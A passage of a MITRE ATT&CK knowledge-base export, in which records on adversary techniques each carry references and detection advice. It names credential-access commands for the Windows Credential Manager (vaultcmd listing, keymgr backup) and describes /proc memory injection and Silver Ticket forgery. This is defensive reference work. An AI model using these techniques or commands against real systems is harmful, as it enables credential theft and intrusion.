"description": null,
"external_id": "T1543.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/001"
},
{
"description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "AppleDocs Launch Agent Daemons",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
"external_id": null,
"source_name": "Sofacy Komplex Trojan",
"url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
},
{
"description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "OceanLotus for OS X",
"url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
},
{
"description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
"external_id": null,
"source_name": "OSX Keydnap malware",
"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
},
{
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Methods of Mac Malware Persistence",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "OSX Malware Detection",
"url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf"
},
{
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Antiquated Mac Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
"external_id": null,
"source_name": "OSX.Dok Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.
Ensure Launch Agent's <code> ProgramArguments </code> key pointing to executables located in the <code>/tmp</code> or <code>/shared</code> folders are in alignment with enterprise policy. Ensure all Launch Agents with the <code>RunAtLoad</code> key set to <code>true</code> are in alignment with policy. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.4 |
attack-pattern | attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-10T18:23:06.482000Z" | "2022-03-22T17:29:46.189000Z" | System Services | Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1569",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1569"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-09T14:12:31.196000Z" | "2024-03-01T17:35:02.889000Z" | Windows Command Shell | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/003"
},
{
"description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.",
"external_id": null,
"source_name": "SSH in Windows",
"url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.4 |
attack-pattern | attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-14T01:34:10.588000Z" | "2020-06-20T22:25:55.331000Z" | Proc Memory | Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.
Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)
Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1055.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1055/009"
},
{
"description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
"external_id": null,
"source_name": "Uninformed Needle",
"url": "http://hick.org/code/skape/papers/needle.txt"
},
{
"description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.",
"external_id": null,
"source_name": "GDS Linux Injection",
"url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
},
{
"description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.",
"external_id": null,
"source_name": "DD Man",
"url": "http://man7.org/linux/man-pages/man1/dd.1.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases.
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.0 |
attack-pattern | attack-pattern--d21bb61f-08ad-4dc1-b001-81ca6cb79954 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-03-10T15:37:21.782000Z" | "2023-04-14T20:04:42.893000Z" | Acquire Access | Adversaries may purchase or otherwise acquire an existing access to a target system or network. A variety of online services and initial access broker networks are available to sell access to previously compromised systems.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)(Citation: Krebs Access Brokers Fortune 500) In some cases, adversary groups may form partnerships to share compromised systems with each other.(Citation: CISA Karakurt 2022)
Footholds to compromised systems may take a variety of forms, such as access to planted backdoors (e.g., [Web Shell](https://attack.mitre.org/techniques/T1505/003)) or established access via [External Remote Services](https://attack.mitre.org/techniques/T1133). In some cases, access brokers will implant compromised systems with a “load” that can be used to install additional malware for paying customers.(Citation: Microsoft Ransomware as a Service)
By leveraging existing access broker networks rather than developing or obtaining their own initial access capabilities, an adversary can potentially reduce the resources required to gain a foothold on a target network and focus their efforts on later stages of compromise. Adversaries may prioritize acquiring access to systems that have been determined to lack security monitoring or that have high privileges, or systems that belong to organizations in a particular sector.(Citation: Microsoft Ransomware as a Service)(Citation: CrowdStrike Access Brokers)
In some cases, purchasing access to an organization in sectors such as IT contracting, software development, or telecommunications may allow an adversary to compromise additional victims via a [Trusted Relationship](https://attack.mitre.org/techniques/T1199), [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111), or even [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195).
**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1650",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1650"
},
{
"description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "Krebs Access Brokers Fortune 500",
"url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"
},
{
"description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "CrowdStrike Access Brokers",
"url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"
},
{
"description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "CISA Karakurt 2022",
"url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"
},
{
"description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
"external_id": null,
"source_name": "Microsoft Ransomware as a Service",
"url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this takes place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T19:49:24.129000Z" | "2020-10-22T17:50:46.560000Z" | Patch System Image | Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.
To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.
To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.
In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.
By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).
Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.
When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005).
When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1601.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1601/001"
},
{
"description": "Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Killing the myth of Cisco IOS rootkits",
"url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf"
},
{
"description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Killing IOS diversity myth",
"url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
},
{
"description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
"external_id": null,
"source_name": "Cisco IOS Shellcode",
"url": "http://2015.zeronights.org/assets/files/05-Nosenko.pdf"
},
{
"description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
"external_id": null,
"source_name": "Cisco IOS Forensics Developments",
"url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
},
{
"description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Juniper Netscreen of the Dead",
"url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
},
{
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
},
{
"description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
"url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)
Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-11T19:14:48.309000Z" | "2020-03-25T21:46:46.831000Z" | Silver Ticket | Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)
Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)
Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1558.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1558/002"
},
{
"description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.",
"external_id": null,
"source_name": "ADSecurity Silver Tickets",
"url": "https://adsecurity.org/?p=2011"
},
{
"description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
"external_id": null,
"source_name": "ADSecurity Detecting Forged Tickets",
"url": "https://adsecurity.org/?p=1515"
},
{
"description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
"external_id": null,
"source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
"url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets)
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2018-04-18T17:59:24.739000Z" | "2024-03-01T16:27:47.391000Z" | Data from Information Repositories | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.
The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1213",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213"
},
{
"description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.",
"external_id": null,
"source_name": "Atlassian Confluence Logging",
"url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"
},
{
"description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
"external_id": null,
"source_name": "Microsoft SharePoint Logging",
"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
},
{
"description": "Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.",
"external_id": null,
"source_name": "Sharepoint Sharing Events",
"url": "https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS",
"SaaS",
"Office 365",
"Google Workspace",
"IaaS"
] | 3.3 |
attack-pattern | attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-07-29T19:32:11.552000Z" | "2023-04-11T22:30:01.227000Z" | Clear Persistence | Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)
In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1070.009",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/009"
},
{
"description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
"external_id": null,
"source_name": "Cylance Dust Storm",
"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
},
{
"description": "Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.",
"external_id": null,
"source_name": "Talos - Cisco Attack 2022",
"url": "https://blog.talosintelligence.com/recent-cyber-attack/"
},
{
"description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
"external_id": null,
"source_name": "NCC Group Team9 June 2020",
"url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
|
attack-pattern | attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-11-23T15:35:53.793000Z" | "2022-10-21T15:46:55.929000Z" | Windows Credential Manager | Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)
The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.
Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)
Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.
Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1555.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1555/004"
},
{
"description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
"external_id": null,
"source_name": "Malwarebytes The Windows Vault",
"url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
},
{
"description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
"external_id": null,
"source_name": "Delpy Mimikatz Crendential Manager",
"url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
},
{
"description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
"external_id": null,
"source_name": "Microsoft Credential Locker",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
},
{
"description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
"external_id": null,
"source_name": "Microsoft Credential Manager store",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
},
{
"description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
"external_id": null,
"source_name": "Microsoft CredEnumerate",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
},
{
"description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
"external_id": null,
"source_name": "passcape Windows Vault",
"url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault)
